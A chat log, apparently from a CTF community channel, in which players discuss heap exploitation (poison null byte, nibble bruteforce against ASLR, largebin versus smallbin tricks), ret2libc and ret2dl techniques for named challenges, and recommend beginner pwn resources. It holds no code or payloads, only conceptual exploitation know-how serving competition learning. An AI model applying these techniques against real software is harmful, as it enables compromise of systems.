only the second to last, and that's where the bruteforce is
the last one isn't aslr dependant and if you're using the poison null byte for the second to last you should be able to overwrite the last byte with any value
neon cosmos
you can't do this in sice sice
oh? I thought you couldn't because no partial overwrites
neon cosmos
oh ok haha
neon cosmos
yea if you're bruting the 4th heap nibble the massage is a little easier
neon cosmos
but it's possible do massage without bruteforce nor largebins
neon cosmos
I did that for asis yet another house
vagrant cypress
for yet another house
I applied the bruteforce of 4 bits
from how2heap
and it worked
next orbit
I applied the bruteforce of 4 bits
i should've also added "No partial overwrites :)"
vagrant cypress
Ye probably
brave lagoon
i dont quite understand why the how2heap poison null byte requires a large bin chunk
can someone explain why you can't do what they're doing with a smallbin chunk?
i know it has the fd_nextsize and bk_nextsize pointers but how do those help when compared to just the usual fd and bk pointers
next orbit
I haven't looked at that poc but it seems like that poc requires partial overwrite , which is not the case here
neon cosmos
@brave lagoon you can do a leakless poison null byte without brute forcing and without largebins
neon cosmos
I honestly don’t know why the initial ideas involved largebins
but ig that’s just what the first pocs used
brave lagoon
ye thats why i was curious about it since the technique used for sice sice seems easier
gaunt cypress
Hi, can someone explain to me why in babyrop when I tried to use a ret2libc I got a segfault cause of the stack alignment or something? Thks
gaunt cypress
Thanks
sleek path
not sure if this is the place to ask, but I kinda want t a gentler intro to pwn things than babyrop seemed to be, would anyone be able to vouch for ROPemporium?
naive thicket
ropemporium is pretty good
you can also try high school CTFs
like hsctf, picoctf, and angstromctf
proper drum
leaving out redpwn smh
little kraken
nightmare is pretty good too
storm jasper
like hsctf, picoctf, and angstromctf
visit angstromctf.com for the best competition!
sleek path
but I'm not a high schooler T_T
"I'm not a high schooler. Can I still compete?
Yup! You'll simply need to mark yourself as ineligible for prizes when signing up. Ineligible players will still be able to view challenges, submit flags, and see how they rank compared to other teams."
hm okay
upper hollow
bruh
pwntools has the ret2dl utilities
i used them just now to solve the challenge babyrop
but i have no idea what they do
I am trying to understand but it is very complex compared to ret2csu
I guess I'll try 'exploding' the exploit to see better what happens under the hood
next orbit
earnest temple
does anyone want to try gunnhacks pwn